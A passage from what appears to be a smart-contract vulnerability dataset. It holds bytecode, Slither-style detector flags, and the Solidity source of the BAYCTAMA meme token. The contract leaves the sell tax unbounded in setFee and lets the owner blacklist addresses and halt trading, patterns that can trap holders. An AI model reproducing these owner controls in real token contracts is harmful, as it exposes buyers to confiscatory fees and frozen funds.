ffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122ce91906127dc565b60405180910390a35050505050505050565b600080600060075490506000600654905060005b6005805490508110156125485782600160006005848154811061231a57612319612ebb565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061240857508160026000600584815481106123a05761239f612ebb565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561241f576007546006549450945050505061257a565b600160006005838154811061243757612436612ebb565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836124a89190612a45565b925060026000600583815481106124c2576124c1612ebb565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826125339190612a45565b9150808061254090612f19565b9150506122f4565b506006546007546125599190612c22565b8210156125715760075460065493509350505061257a565b81819350935050505b9091565b6000600560648361258f9190612c22565b61259991906132ce565b9050919050565b81600760008282546125b29190612a45565b9250508190555080600860008282546125cb9190612a79565b925050819055505050565b600080fd5b6000819050919050565b6125ee816125db565b81146125f957600080fd5b50565b60008135905061260b816125e5565b92915050565b600060208284031215612627576126266125d6565b5b6000612635848285016125fc565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561267857808201518184015260208101905061265d565b83811115612687576000848401525b50505050565b6000601f19601f8301169050919050565b60006126a98261263e565b6126b38185612649565b93506126c381856020860161265a565b6126cc8161268d565b840191505092915050565b600060208201905081810360008301526126f1818461269e565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612724826126f9565b9050919050565b61273481612719565b811461273f57600080fd5b50565b6000813590506127518161272b565b92915050565b6000806040838503121561276e5761276d6125d6565b5b600061277c85828601612742565b925050602061278d858286016125fc565b9150509250929050565b60008115159050919050565b6127ac81612797565b82525050565b60006020820190506127c760008301846127a3565b92915050565b6127d6816125db565b82525050565b60006020820190506127f160008301846127cd565b92915050565b6000806000606084860312156128105761280f6125d6565b5b600061281e86828701612742565b935050602061282f86828701612742565b9250506040612840868287016125fc565b9150509250925092565b600060ff82169050919050565b6128608161284a565b82525050565b600060208201905061287b6000830184612857565b92915050565b61288a81612797565b811461289557600080fd5b50565b6000813590506128a781612881565b92915050565b600080604083850312156128c4576128c36125d6565b5b60006128d2858286016125fc565b92505060206128e385828601612898565b9150509250929050565b600060208284031215612903576129026125d6565b5b600061291184828501612742565b91505092915050565b61292381612719565b82525050565b600060208201905061293e600083018461291a565b92915050565b6000806040838503121561295b5761295a6125d6565b5b600061296985828601612742565b925050602061297a85828601612742565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b60006129e0602c83612649565b91506129eb82612984565b604082019050919050565b60006020820190508181036000830152612a0f816129d3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a50826125db565b9150612a5b836125db565b925082821015612a6e57612a6d612a16565b5b828203905092915050565b6000612a84826125db565b9150612a8f836125db565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ac457612ac3612a16565b5b828201905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612b2b602883612649565b9150612b3682612acf565b604082019050919050565b60006020820190508181036000830152612b5a81612b1e565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612bbd602a83612649565b9150612bc882612b61565b604082019050919050565b60006020820190508181036000830152612bec81612bb0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c2d826125db565b9150612c38836125db565b925082612c4857612c47612bf3565b5b828204905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b6000612c89601f83612649565b9150612c9482612c53565b602082019050919050565b60006020820190508181036000830152612cb881612c7c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612cf5602083612649565b9150612d0082612cbf565b602082019050919050565b60006020820190508181036000830152612d2481612ce8565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612d87602583612649565b9150612d9282612d2b565b604082019050919050565b60006020820190508181036000830152612db681612d7a565b9050919050565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b6000612df3601b83612649565b9150612dfe82612dbd565b602082019050919050565b60006020820190508181036000830152612e2281612de6565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612e85602683612649565b9150612e9082612e29565b604082019050919050565b60006020820190508181036000830152612eb481612e78565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6000612f24826125db565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f5757612f56612a16565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fbe602483612649565b9150612fc982612f62565b604082019050919050565b60006020820190508181036000830152612fed81612fb1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613050602283612649565b915061305b82612ff4565b604082019050919050565b6000602082019050818103600083015261307f81613043565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130e2602583612649565b91506130ed82613086565b604082019050919050565b60006020820190508181036000830152613111816130d5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613174602383612649565b915061317f82613118565b604082019050919050565b600060208201905081810360008301526131a381613167565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613206602983612649565b9150613211826131aa565b604082019050919050565b60006020820190508181036000830152613235816131f9565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61786960008201527f6d756d207472616e73616374696f6e20616d6f756e7400000000000000000000602082015250565b6000613298603683612649565b91506132a38261323c565b604082019050919050565b600060208201905081810360008301526132c78161328b565b9050919050565b60006132d9826125db565b91506132e4836125db565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561331d5761331c612a16565b5b82820290509291505056fea2646970667358221220890dc173b332fede533bf6ea12bcc1209abcedb320112116fe605d943a97910264736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
3,657
0x10438c4e49aba5743c3e9b3b33e10df20748e3aa
/** *Submitted for verification at Etherscan.io on 2022-02-05 */ //https://t.me/BaycTamaEth //https://www.BaycTama.com // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BAYCTAMA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BAYCTAMA"; string private constant _symbol = "$BTAMA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x61F1c2A4df372b83413b3c6422103dDA3A096267); address payable private _marketingAddress = payable(0xe5F500058DE20e27cBfdf5b9E6E94B17cb2E31cB); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2, "Buy rewards must be between 0% and 2%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 2, "Sell rewards must be between 0% and 2%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 10000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612e73565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f44565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f9c565b61087b565b6040516102649190612ff7565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190613071565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba919061309b565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e591906130b6565b6108d0565b6040516102f79190612ff7565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b604051610322919061309b565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d9190613125565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b604051610378919061314f565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a3919061316a565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906131c3565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c919061316a565b610c51565b60405161041e919061309b565b60405180910390f35b34801561043357600080fd5b5061043c610ca2565b005b34801561044a57600080fd5b50610465600480360381019061046091906131f0565b610df5565b005b34801561047357600080fd5b5061047c610ea4565b604051610489919061309b565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b4919061316a565b610eaa565b6040516104c6919061309b565b60405180910390f35b3480156104db57600080fd5b506104e4610ec2565b6040516104f1919061314f565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906131c3565b610eeb565b005b34801561052f57600080fd5b50610538610f9d565b604051610545919061309b565b60405180910390f35b34801561055a57600080fd5b50610563610fa3565b6040516105709190612f44565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906131f0565b610fe0565b005b3480156105ae57600080fd5b506105c960048036038101906105c4919061321d565b61107f565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612f9c565b611229565b6040516105ff9190612ff7565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a919061316a565b611247565b60405161063c9190612ff7565b60405180910390f35b34801561065157600080fd5b5061065a611267565b005b34801561066857600080fd5b50610683600480360381019061067e91906132df565b611340565b005b34801561069157600080fd5b506106ac60048036038101906106a7919061333f565b61147a565b6040516106b9919061309b565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906131f0565b611501565b005b3480156106f757600080fd5b50610712600480360381019061070d919061316a565b6115a0565b005b61071c611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906133cb565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6133eb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613449565b9150506107ac565b5050565b60606040518060400160405280600881526020017f4241594354414d41000000000000000000000000000000000000000000000000815250905090565b600061088f610888611762565b848461176a565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611935565b61099e846108e9611762565b6109998560405180606001604052806028815260200161404060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f611762565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ba9092919063ffffffff16565b61176a565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e6611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a906133cb565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad6611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a906133cb565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc1611762565b73ffffffffffffffffffffffffffffffffffffffff161480610c375750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1f611762565b73ffffffffffffffffffffffffffffffffffffffff16145b610c4057600080fd5b6000479050610c4e8161221e565b50565b6000610c9b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228a565b9050919050565b610caa611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e906133cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfd611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e81906133cb565b60405180910390fd5b662386f26fc10000811115610ea157806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ef3611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f77906133cb565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600681526020017f244254414d410000000000000000000000000000000000000000000000000000815250905090565b610fe8611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106c906133cb565b60405180910390fd5b8060188190555050565b611087611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611114576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110b906133cb565b60405180910390fd5b60008410158015611126575060028411155b611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90613504565b60405180910390fd5b600082101580156111775750600e8211155b6111b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ad90613596565b60405180910390fd5b600083101580156111c8575060028311155b611207576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fe90613628565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061123d611236611762565b8484611935565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112a8611762565b73ffffffffffffffffffffffffffffffffffffffff16148061131e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611306611762565b73ffffffffffffffffffffffffffffffffffffffff16145b61132757600080fd5b600061133230610c51565b905061133d816122f8565b50565b611348611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cc906133cb565b60405180910390fd5b60005b838390508110156114745781600560008686858181106113fb576113fa6133eb565b5b9050602002016020810190611410919061316a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061146c90613449565b9150506113d8565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611509611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d906133cb565b60405180910390fd5b8060178190555050565b6115a8611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611635576040517f08c379a00000000000000000000000000000000000000000000000000000000081